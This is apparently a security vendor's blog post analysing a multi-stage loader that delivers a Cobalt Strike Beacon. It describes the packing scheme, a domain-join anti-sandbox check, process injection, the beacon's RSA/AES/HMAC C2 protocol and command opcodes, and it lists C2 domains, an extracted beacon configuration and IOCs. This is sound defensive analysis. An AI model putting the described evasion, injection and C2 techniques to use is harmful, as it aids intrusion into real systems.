top title background image

Deep Malware Analysis of a Multi-Stage Cobalt Strike Loader

Joe Security's Blog

Published on: 21.04.2026




In this blog post, we provide a detailed technical reconstruction of a multi-stage malware chain that ultimately delivers a Cobalt Strike Beacon.

The sample was obtained from the following Joe Sandbox Cloud Basic analysis:

https://www.joesandbox.com/analysis/1894688/1/html

Our investigation began with a low-signal sample that initially appeared harmless. However, it quickly exposed a concealed multi-stage execution chain. 

Our goal was to fully reconstruct the execution chain, recover the embedded implant, and understand its command-and-control (C2) protocol.

Static sample information:

  • SHA-256: 4e791c25ea3e6fe490e9b53a1b13eaafef56d9cfc75930b380fc49fb843212b9
  • File name: G1kkgNRuTw.dll

This post walks through each stage of the infection chain, from the original loader to the final in-memory implant, and shows how we reconstructed the intermediate payloads into runnable PE files for deeper analysis. We then examine the beacon’s communication workflow, including its configuration parsing, request and response protection, and command dispatch logic. Finally, we connect the recovered artifacts and network indicators to known Cobalt Strike infrastructure to support attribution.

From The Original Loader To The Final Implant


We began by uploading the sample to Joe Reverser our new tool for agent-driven malware reverse engineering and phishing analysis:

 




The full stage 1 report is available here:

https://www.joesandbox.com/joereverser/analysis/download/a7c2dadb-38f4-4163-b327-af33b1f3505d?type=html

Joe Reverser was not able to fully reverse engineer the entire execution chain. However, it successfully uncovered the first layer:




Joe Reverser stores all analysis artifacts, including the decompiled .NET classesBy examining the .NET classCPLoadNET.Runner.cs, we can observe the packing algorithm:



The same .NET layer also exposed an anti-sandbox mechanism. Execution would only proceed if the host machine was joined to a domain:




This check is significant because it explains the sample’s environment-aware behavior. The malware is designed to run only on systems that resemble corporate workstations. In Joe Sandbox Cloud Pro, this requirement was easily satisfied thanks to the availability of domain-joined virtual machines, allowing us to bypass the restriction by executing the sample in that environment.
 




Full Analysis report:

http://www.joesecurity.org/reports/report-4522725d24ca4eb6f660dcafeacc4af7.html

Another relevant section of the .NET code highlights the loader’s behavior, showing how it injects and executes the decrypted payload within a suspended iexplore.exe process.




By reviewing the chat report from Joe Reverser, we can see that these aspects were correctly identified and clearly summarized:

https://www.joesandbox.com/joereverser/analysis/download/a7c2dadb-38f4-4163-b327-af33b1f3505d?type=chathtml




The payload can be recovered by extracting the last non-empty line of the file, reversing the string, decoding it from Base64, and then applying the XOR decryption routine.

At this stage, the key question was how to transform this raw payload into an executable form so that it can be loaded into Joe Reverser again.


Reconstructing The First Runnable PE


To proceed, we needed a structurally valid PE file. Instead of trying to patch the original binary, we wrapped the raw payload in a minimal PE file.

A small loader stub serves as the entry point. Its function is straightforward: it allocates executable memory at runtime, copies the embedded payload into that region, and then transfers execution to the beginning of that memory space. In this way, the PE itself contains no complex logic it simply provides the structure required for Windows to load and execute it. Additionally, to simplify further analysis, we disabled ASLR in the generated PE.

We then loaded the resulting PE file into Joe Reverser, which revealed a critical insight: the payload was not the final implant, but rather another in-memory loader:

 


Like before, we reviewed what Joe Reverser was able to uncover through static analysis: 

 



The final line is particularly significant; at that point, Stage 2 is about to transfer execution to a PE file mapped directly in memory. 


Dumping and PE File Reconstructing


This transition was also evident at the disassembly level, confirming that execution was transferred to a dynamically computed entry point. In the decompiled logic of FUN_14000201e, this handoff appears as:



Joe Reverser's call graph:





Execution did not proceed through a simple jump, but rather through a structured sequence of indirect calls targeting a computed entry point.

With a solid understanding of the process, we performed a memory dump using x64dbg






Because the raw dump was not directly usable as an executable, we reconstructed it into a minimal PE while preserving the original handoff logic. This involved embedding the dumped memory into a new section, mapping it at the expected base address, and replaying the same transition sequence so that execution would continue as before.



The reconstructed PE intentionally preserved the original .payload section, as the final handoff still performs a callback into it.



Analysis of the Embedded PE via reconstructed Executable

We reanalyzed the new PE with Joe Reverser, and the findings became increasingly compelling. At this stage, the payload clearly behaves like a fully featured RAT implant.




The execution model became clear: a standard beacon loop responsible for handling C2 communication and command execution. The outer loader resolves APIs, maps sections, fixes relocations, rebuilds imports, and then transfers execution to the embedded implant’s entry point, which eventually reaches the main C2 loop at FUN_1406fcef0.

This stage 3 loop already revealed the key behavioral components:

  • expiry and failure handling
  • configuration decryption
  • C2 server selection with jitter
  • HTTP beaconing
  • response decryption
  • bulk command decryption
  • RAT command dispatch


Analysis of C2 selector routine


To understand how the configuration is processed, identify additional C2 endpoints, and extract IOCs, we analyzed the function FUN_140710488 using both Ghidra and x64dbg. 

At a high level, the function accepts a configuration string formatted as a sequence of tokens separated by a delimiter (e.g., c2.a.com|/gate|c2.b.com|/api) and parses it into structured entries within a context buffer. Each pair of tokens is interpreted as a (host, path) entry.

A simplified pseudocode representation of the logic is:



By tracing this function during execution and setting a breakpoint at its entry point, we identified the memory region that contains the raw configuration string. Dumping this region with x64dbg and running a strings analysis on it allows us to quickly uncover additional embedded data and confirm the presence of relevant configuration artifacts, helping us identify further IOCs:

  • microsoft.otp.lu,/rest/funcStatus,analytics.green-it.lu,/rest/funcStatus
  • @%windir%\\syswow64\\WerFault.exe
  • @%windir%\\sysnative\\WerFault.exe
  • POST
  • Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
  • @/rest/policy/3/
  • Content-Type: application/json
  • {"version":1, "d":"
  • ntdll.dll
  • RtlUserThreadStart
  • kernel32.dll
  • LoadLibraryA

At this stage, two key points became clear:

  • the sample uses exactly two hardcoded C2 hosts
  • the next important question concerns the communication protocol itself, both to better understand the malware family and to extract valuable attribution and threat intelligence signals
In the remainder of this blog post, we focus on the final step: reconstructing the request and response protection layers and analyzing the key material used in the communication.

Network Investigation Walkthrough & Crypto Analysis


We first focused on the decrypted HTTPS traffic recorded by Joe Sandbox:



Before manually validating the network traffic, the most valuable starting point was the Stage 3 highlights identified by Joe Reverser. These results clearly indicated which parts of the implant were worth tracing in the debugger.

At a high level, the Stage 3 network execution path is:




This suggested a clear roadmap for the traffic analysis:

  • understand how the request is constructed
  • understand how the diagnostics field is decoded and decrypted
  • understand the command path and the function it maps to

The observed network activity consists of short HTTP GET requests structured as follows:

GET /rest/funcStatus?_=<payload> HTTP/1.1

Using x64dbg, we identified that the API responsible for constructing this request is HttpOpenRequestA, which is used to set parameters within the HTTP GET query string. By tracing back the call stack, we determined that the caller is the function FUN_00700abc.

We then continued our analysis on this function using Joe Reverser to better understand how the payload is constructed. The results are summarized below:





Based on this analysis, the data flow can be described as follows:

128-byte input payload → XOR with a prepended 4-byte key → URL-safe Base64 encoding

The next step was to continue tracing this chain backward to identify the origin of the 128-byte input payload.

To do this, we again used Joe Reverser to move further up the call chain and determine where the input originates. The result is insightful:



The encryption path can be described as follows:

input data → RSA-1024 + PKCS#1 v1.5 padding encryption → 128-byte payload → XOR with prepended 4-byte key → URL-safe Base64 encoding

By placing a breakpoint at the start of the encryption routine, we observed the plaintext payload before it was processed. At this point, the buffer passed in RDX contained the complete input data (128 bytes).





Extracted data:



A possible interpretation of the input data, derived using Joe Reverser, is provided in Appendix A.

It is important to note that the payload contains a 16-byte session key compatible with AES. This reflects a common pattern in secure communications: asymmetric encryption (which is slower) is used to exchange the AES session key, which is then used for faster symmetric encryption of the remaining communication.

Please note the key currently observed 74 7C EF 54 C0 31 F4 BF 9A 72 29 AB 6E 47 00 5E was generated during analysis and therefore does not match the one used in the traffic captured within the Joe Sandbox environment.

To better understand the cryptographic context, we placed a breakpoint at the start of the RSA import function. At this point, we inspected the parameters used to initialize the public key. , RCX points to a DER-encoded blob, while RDX specifies its size (0xA2, or 162 bytes). The size of this DER blob suggests the use of an RSA-1024 public key.




Extracted DER blob:



We then moved to the analysis of the response traffic:

HTTP/1.1 200 OK 

{"version":1,"status":"ok","diagnostics":"oz4uLSHtluF9UffnfNz2wz7F2BpDvltvF/KLwBUXjRPdiopfuA0EEMGRMoUHDsW6uB/RGRU0r4YPU1cc/GJoxGJXUKQ="}

We implemented a minimal HTTPS replay server that emulates the original C2 endpoint and serves previously captured responses to the malware. As part of this setup, we generated custom TLS certificates and modified the Windows hosts file to redirect the target domains to our machine. This approach enabled a realistic simulation, allowing us to observe the malware’s behavior during the decryption phase in a fully controlled environment.

Using x64dbg, we identified that the API responsible for reading the HTTP response is InternetReadFile.

The second parameter (RDX) is a pointer to the output buffer where the response data is stored.





From the debugger, we observed that the instruction immediately following the call is located at 0x00700d36. Looking up this address in Ghidra shows that it resides within the already analyzed function FUN_00700abc.

We then analyzed this part using Joe Reverser to understand how the payload is processed:




The response handling includes an HMAC verification step to ensure message authenticity and integrity. After that, the AES key (the previously generated session key) is initialized, and the payload is finally decrypted.

This confirms the use of a standard hybrid cryptographic scheme: integrity is ensured through HMAC, while confidentiality is provided by symmetric encryption (AES), with the session key previously exchanged via RSA.

It became evident that attempting to decrypt the communication without access to the original session key is not a practical approach. The RSA-1024 scheme used for key exchange, even with PKCS#1 v1.5 padding, remains computationally difficult to break when properly implemented. RSA security relies on the difficulty of factoring the modulus 𝑛 = 𝑝 ⋅ 𝑞, where 𝑝 and 𝑞 are large prime numbers.

From a complexity perspective, breaking RSA-1024 would require on the order of 2^80 operations, which is far beyond feasible brute-force capabilities. Even with large-scale distributed computing, this would take an impractical amount of time ranging from thousands to millions of years, depending on assumptions. In terms of security equivalence, RSA-1024 offers roughly 80 bits of security, which is below modern recommendations but still computationally expensive to break in practice.

One potential avenue remains: the possibility that the threat actors used weak primes (i.e., primes generated with insufficient entropy or poor randomness), which could make the RSA modulus factorable in practice.

In such cases, the modulus 𝑛 can be checked against public databases such as FactorDB to determine whether its factorization is already known or can be computed efficiently.

To extract the modulus 𝑛 from a DER-encoded RSA public key, you can follow this structure:

SEQUENCE
 ├── AlgorithmIdentifier (rsaEncryption)
 └── BIT STRING
      └── SEQUENCE
           ├── INTEGER (modulus n)
           └── INTEGER (public exponent e)

The modulus 𝑛 is the first INTEGER within the inner SEQUENCE contained in the BIT STRING. In our case, it corresponds to the INTEGER starting with 02 81 81 00, where the leading 00 serves only as padding and should be ignored. The remaining 128 bytes represent the modulus 𝑛 (a 1024-bit value in big-endian format).

The extracted modulus is:



Conversion to an integer:


110184884688415439795711230143574517181508241647470899063735803461492087268723102603190077051628865754550758005609791532201838063958475688195812856331830546156341046250116980890747801414006477246396281261485689144105469563250715805600041697639217989522437411948624766391915664181642807419253042757050978827357


Attempt at factorization:



Unfortunately, the FactorDB check shows that no factors are currently known for this modulus. This means that the value of 𝑛 has not been factorized, and the private key cannot be derived.

As a result, breaking the RSA encryption through factorization is not feasible. In this case, the threat actors implemented it correctly: the primes appear strong, and the key generation process is sound.

For completeness, Appendix B provides the Joe Reverser analysis of the network protocol pseudocode summary.


Command Parsing


We then continued analyzing the command parser. The command parsing path begins at FUN_0070db5c:




The structure of the decrypted packet:



A partial command mapping is provided in Appendix C.

The recovered dispatcher reveals several high-value operational capabilities:

  • anti-forensics: command buffers are cleared after processing
  • in-memory execution: full PE images can be loaded and executed without being written to disk in the usual way
  • live C2 pivoting: the C2 configuration can be modified in memory at runtime
  • desktop takeover: desktop enumeration, switching, and control are supported
  • token impersonation: the implant can enumerate and impersonate security tokens
  • screen and input control: screenshot capture, streaming, and input injection are supported
  • file and process control: the implant provides a wide range of capabilities for filesystem and process management
  • channelized network operations: dedicated opcodes manage separate channels for tunneling or pivot-like behavior


Threat Intel

To confirm attribution, we pivoted to threat intelligence using the recovered C2 indicators: entity:file (behavior:"microsoft[.]otp[.]lu" or behavior:"analytics[.]green-it[.]lu")

This led to the identification of two matching samples:

In both cases, the Behavior tab reveals an extracted Cobalt Strike Beacon configuration (see Appendix D).

The configuration shows strong overlap with our sample, including the same C2 domains and identical endpoints. Most notably, one detail stands out immediately: the public key.

The extracted public key perfectly matches the DER blob we previously recovered:



This provides strong evidence that the original sample is a Cobalt Strike Beacon implant. More specifically, it appears to be a stageless (embedded) beacon, meaning that the payload is already included within the binary rather than being retrieved from the C2 server at runtime. This behavior aligns with known configurations in which the beacon contains its full configuration and communication profile internally.


Final Words

What began as a low-signal sample in Joe Sandbox Cloud Basic quickly revealed a carefully layered malware chain built to evade superficial analysis. The domain-joined check was the first strong indicator that the sample was intended to execute only in environments resembling real corporate workstations.

By peeling back each stage, we reconstructed the full execution path and ultimately reached a Cobalt Strike Beacon with an embedded configuration. Along the way, we recovered intermediate loaders, rebuilt runnable PE files from memory, and traced the handoff logic that linked one stage to the next.

The network protocol completed the picture. The implant uses a hybrid cryptographic design in which RSA protects the initial session material, while AES and HMAC secure the rest of the communication. The implementation is clean and consistent with a mature beaconing framework, and the recovered configuration, protocol behavior, and public key all align with known Cobalt Strike tradecraft.

Rather than relying on traffic decryption alone, we followed the execution flow directly through the code and runtime behavior. This allowed us to reconstruct the dispatcher, map the supported opcodes, and determine the implant’s operational capabilities from the implementation itself.

Overall, this case shows how combining Joe Sandbox, Joe Reverser, debugger-assisted tracing, and memory reconstruction can turn a seemingly unremarkable sample into a fully understood multi-stage intrusion chain. Starting from a loader that initially appeared harmless, we were able to recover the final implant, analyze its communication model, extract actionable IOCs, and confidently attribute the payload to a stageless Cobalt Strike Beacon.



Indicators of Compromise (IOCs)


SHA-256: 4e791c25ea3e6fe490e9b53a1b13eaafef56d9cfc75930b380fc49fb843212b9

C2 domains:

  • microsoft[.]otp[.]lu
  • analytics[.]green-it[.]lu

URIs:

  • /rest/funcStatus
  • /rest/policy/3/

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)

Implant public key:

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCc6JJrOt79fx+sWuznKQGUdXDN
NJ/G2zQDxTMeq5wFjNK5z2/kMiLjjMlb63kFRZpuYGPNJ+V3UQJSHm1NctuJeyXK
eQU19r0dBz0RQqe7hC9OrfmKAEeKTCm/hkow/WfioKzsPcsg7xJ63PHAv9C8KwTW
mhMbbrhxmK/LF/B8XQIDAQAB
-----END PUBLIC KEY-----


Appendix A. Interpretation of Input Data

Address Offset Bytes Field
D2E040+0x00+0x0000 00 BE EFMagic marker
D2E044+0x04+0x0400 00 00 56Beacon version (0x56)
D2E048+0x08+0x0874 7C EF 54 C0 31 F4 BF
9A 72 29 AB 6E 47 00 5E
16-byte random session key (AES) — FUN_0070ea74()
D2E058+0x18+0x18E4 04ActiveCodePage = 1252
D2E05A+0x1A+0x1AB5 01OEM ActiveCodePage = 437
D2E05C+0x1C+0x1C5D 1A C1 6CC2 session handle — FUN_006fd618()
D2E060+0x20+0x2000 00Padding
D2E062+0x22+0x2204 CCPID = 0xCC04 (52228)
D2E064+0x24+0x2400 00Padding
D2E066+0x26 +0x26 0E Flags = 0x0E
  • bit1 = VM check — FUN_00703868()
  • bit2 = integrity — FUN_00703820()
  • bit3 = isAdmin — FUN_007140c0()
D2E067+0x27 +0x27 06 02 23 F0 Windows version
  • Major = 6
  • Minor = 2
  • Build = 0x23F0 (9200)
D2E06B+0x2B+0x2B00 00 7F FE&GetProcAddress >> 32
D2E06F+0x2F+0x2FB3 48 C5 E0&GetModuleHandle & 0xFFFFFFFF → GetModuleHandle = 0x00007FFE`B348C5E0
D2E073+0x33+0x33B3 48 3C 70&GetProcAddress & 0xFFFFFFFF → GetProcAddress = 0x00007FFE`B3483C70
D2E077+0x37+0x3745 CD A8 C0Unknown — FUN_0070a29c()
D2E07B+0x3B+0x3B57 49 4E 44 4F 57 53 31 31Computer name = "WINDOWS11"
D2E084+0x44+0x4409Tab separator
D2E085+0x45+0x4575 73 65 72User name = "user"
D2E089+0x49+0x4909Tab separator
D2E08A+0x4A+0x4A70 61 79 6C 6F 61 64 5F 72 75 6E
6E 61 62 6C 65 2E 65 78 65
Process = "payload_runnable.exe"
D2E09E+0x5E+0x5E00 00Null terminator

Appendix B. Network Protocol Pseudocode Summary

implant_start():
    session_seed = generate_random_16_bytes()
    digest = sha256(session_seed)
    aes_key = digest[0:16]
    hmac_key = digest[16:32]
    iv = "abcdefghijklmnop"

    handshake_packet = build_packet()
    handshake_packet.append(header_8_bytes)
    handshake_packet.append(session_seed)
    handshake_packet.append(host_metadata)

    encrypted_request = rsa_1024_encrypt(handshake_packet, c2_public_key)
    request_blob = xor_with_random_4byte_prefix(encrypted_request)
    request_token = base64url_encode(request_blob)

    loop:
        server = select_c2_endpoint()
        response_json = http_get("/rest/funcStatus?_=" + request_token, server)
        diagnostics_b64 = response_json["diagnostics"]

        diagnostics_raw = base64url_decode(diagnostics_b64)
        diagnostics_plain = remove_4byte_prefix_xor(diagnostics_raw)

        if len(diagnostics_plain) <= 16:
            continue

        ciphertext = diagnostics_plain[:-16]
        received_tag = diagnostics_plain[-16:]
        expected_tag = hmac_sha256(hmac_key, ciphertext)[0:16]

        if expected_tag != received_tag:
            reject_response()
            continue

        plaintext = aes_cbc_decrypt(ciphertext, aes_key, iv)
        parse_and_dispatch_commands(plaintext)

Note: The HMAC key is derived from the shared session_seed and used to authenticate the ciphertext, since HMAC relies on a shared secret known to both client and server to verify integrity and authenticity.

Appendix C. Partial Command Mapping (37 / 119)

Opcode Handler Category Description
0x01FUN_00701a7cAgent ControlAgent reset. Sets DAT_00739000=0, then calls into a jump table path with (0, 0, 0x1a) to shut down or reset implant state.
0x02FUN_00702104Agent ConfigUpdate beacon interval. Reads config blob via FUN_0070a580, updates DAT_00739000 (loop flag) and DAT_00744ea8 (beacon interval), capped at 0x62 (98).
0x03FUN_00701a14Shell/ExecExecute shell command. Copies into a 1024-byte stack buffer and dispatches through (*DAT_00728328)(cmd), likely WinExec or ShellExecuteA.
0x04FUN_00701c14ProcessCreate process. Builds STARTUPINFO, calls FUN_0070c594 as the CreateProcessA/W path, then waits through FUN_007083f0.
0x05FUN_00701cf0Agent ControlSleep. Calls (*DAT_00728360)(ms) with the command payload DWORD as duration.
0x06FUN_00701d1cRecon/SysinfoCollect system information. Includes an XOR-based config integrity check before collecting fields and using GetComputerNameA; result is sent with opcode 0x13.
0x07FUN_00701eb0ExecutionRun PE in memory. Parses path, args, working directory, and PE bytes, then calls FUN_00704034 through privilege-related wrappers.
0x0BFUN_007023ecFile I/OWrite file. Extracts file path and data, opens the target through FUN_00716d78, writes data, then closes it.
0x0CFUN_00702154Network TunnelConnect socket to host:port, enable SO_BROADCAST, and transfer in 0x2000-byte chunks with timeout logic based on GetTickCount.
0x0DFUN_00702290Network TunnelSend data through a previously opened socket handle; retries up to 10 times with 1-second sleeps and a 60-second overall timeout.
0x10FUN_00704250File I/ORead file. Opens a path, reads up to 0xFFFFFFFF bytes, allocates a transfer context, and sends the result with opcode 0x1A.
0x11FUN_007043FCFile I/OClose file or process handle. Looks up the ID in DAT_00744F90, closes the underlying handle, and marks the slot inactive.
0x12FUN_007048F8File SystemDelete file or directory. Uses GetFileAttributesA, then DeleteFile or recursive directory removal logic.
0x13FUN_007049F4File SystemList directory. Enumerates path\*, formats results in text form, and sends them back with opcode 0x16.
0x14FUN_00704C6CFile SystemCreate directory using _mkdir(path).
0x16FUN_00705780Screen/InputSingle screenshot capture using GDI / BitBlt-style logic.
0x17FUN_007057E8Screen/InputContinuous screenshot stream with quality, interval, and monitor parameters.
0x18FUN_0070596CScreenStop screenshot stream. Calls FUN_0070604c with null params to halt capture, then sends ACK with opcode 0x07.
0x19FUN_007058A0Screen/InputMouse/keyboard event injection using synthetic input routines; acknowledgement via opcode 0x07.
0x20FUN_0070882CProcessList processes by iterating the process list and formatting pid, ppid, and name.
0x21FUN_00708634ProcessKill process by ID, set a kill flag, and trigger a terminate wrapper.
0x25FUN_0070B294NetworkPort scan / connect check through socket connection attempts and callback-based result reporting.
0x26FUN_0070B320NetworkChannel data dispatch to FUN_0070BE60, writing to a specific linked-list-managed channel.
0x27FUN_0070B5E0NetworkClose channel by ID and clear its active flag.
0x2EFUN_0070C0F8Agent ConfigUpdate the in-memory C2 string. Frees the old value, allocates a new one, copies it, and null-terminates it.
0x31FUN_0070DCB0NetworkEnumerate active network connections. Iterates TCP/UDP socket table via FUN_00715652/15664/1566a, formats %s\t%d\t%d\t%s\t%s\t%d\n per entry, sends result with opcode 0x11 or 0x16.
0x32FUN_0070DC2CProcessOpen process and duplicate or prepare the resulting handle for later use.
0x33FUN_00713D40Screen/DesktopEnumerate desktops and send the desktop name list.
0x34FUN_00713DD4Screen/DesktopSwitch desktop after parsing multiple string parameters and flags.
0x35FUN_00713EB8Screen/DesktopClose desktop, clean up handle state, and reset the desktop context.
0x36FUN_00713F10Screen/DesktopOpen desktop, assign it to the thread, map it, and send the selected name back with opcode 0x0F.
0x48(inline)Agent ConfigSet environment variable via direct _putenv(param_2) on the raw payload string.
0x60FUN_00709370Token/PrivImpersonate token via token lookup and impersonation APIs.
0x61FUN_007091BCToken/PrivEnumerate token information from the token table and send it with opcode 0x0A.
0x70FUN_0070FD2CInternal BufferInternal ping-pong double-buffer relay. Allocates two 256-byte buffers (DAT_00749670/78), copies payload into one based on param_3 flag. No Win32 clipboard API used.
0x77FUN_00701a7cAgent ControlSelf-destruct / reconnect style reset path, functionally similar to opcode 0x01.

Note: The 37/119 command coverage is intentional, rather than exhaustively reversing all handlers, IDs were selectively sampled across the full 0x01–0x77 range to extract representative highlights of the implant's capabilities. This provides a meaningful overview of the RAT's feature surface without requiring full dispatcher analysis.

Appendix D. Cobalt Strike Extracted Config

{
  "CobaltStrikeBeacon": {
    "BeaconType": [["HTTPS"]],
    "Port": [443],
    "SleepTime": [10000],
    "MaxGetSize": [11184863],
    "Jitter": [42],
    "MaxDNS": ["Not Found"],
    "PublicKey": ["30819f300d06092a864886f70d010101050003818d00308189028181009ce8926b3adefd7f1fac5aece72901947570cd349fc6db3403c5331eab9c058cd2b9cf6fe43222e38cc95beb7905459a6e6063cd27e5775102521e6d4d72db897b25ca790535f6bd1d073d1142a7bb842f4eadf98a00478a4c29bf864a30fd67e2a0acec3dcb20ef127adcf1c0bfd0bc2b04d69a131b6eb87198afcb17f07c5d020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"],
    "C2Server": ["microsoft[.]otp[.]lu,/rest/funcStatus,analytics[.]green-it[.]lu,/rest/funcStatus"],
    "UserAgent": ["Not Found"],
    "HttpPostUri": ["/rest/policy/3/"],
    "Malleable_C2_Instructions": [["Remove 3 bytes from the end", "Remove 44 bytes from the beginning", "Base64 decode", "XOR mask w/ random key"]],
    "HttpGet_Metadata": ["Not Found"],
    "HttpPost_Metadata": ["Not Found"],
    "SpawnTo": ["00000000000000000000000000000000"],
    "PipeName": ["Not Found"],
    "DNS_Idle": ["Not Found"],
    "DNS_Sleep": ["Not Found"],
    "SSH_Host": ["Not Found"],
    "SSH_Port": ["Not Found"],
    "SSH_Username": ["Not Found"],
    "SSH_Password_Plaintext": ["Not Found"],
    "SSH_Password_Pubkey": ["Not Found"],
    "HttpGet_Verb": ["GET"],
    "HttpPost_Verb": ["POST"],
    "HttpPostChunk": [0],
    "Spawnto_x86": ["%windir%\\syswow64\\WerFault.exe"],
    "Spawnto_x64": ["%windir%\\sysnative\\WerFault.exe"],
    "CryptoScheme": [0],
    "Proxy_Config": ["Not Found"],
    "Proxy_User": ["Not Found"],
    "Proxy_Password": ["Not Found"],
    "Proxy_Behavior": ["Use IE settings"],
    "Watermark": [1802994334],
    "bStageCleanup": ["True"],
    "bCFGCaution": ["False"],
    "KillDate": [0],
    "bProcInject_StartRWX": ["False"],
    "bProcInject_UseRWX": ["True"],
    "bProcInject_MinAllocSize": [17500],
    "ProcInject_PrependAppend_x86": [["9b993f373ff9434b99484b9b404a48f9904999484b43fcf8fc40d6279b43fc929f27f9434b9b27279327", "49b9bb6f087defd359e149bff6cd8e8dbaddc6de49ba2106943c21724ba54181c030ac70be"]],
    "ProcInject_PrependAppend_x64": [["80c2449980c6e64181c7971e1bf8939b664181c3dd854181c6b323a7f990", "49b9bb6f087defd359e149bff6cd8e8dbaddc6de49ba2106943c21724ba54181c030ac70be"]],
    "ProcInject_Execute": [["ntdll.dll:RtlUserThreadStart", "NtQueueApcThread-s", "kernel32.dll:LoadLibraryA", "RtlCreateUserThread"]],
    "ProcInject_AllocationMethod": ["NtMapViewOfSection"],
    "bUsesCookies": ["False"],
    "HostHeader": [""]
  }
}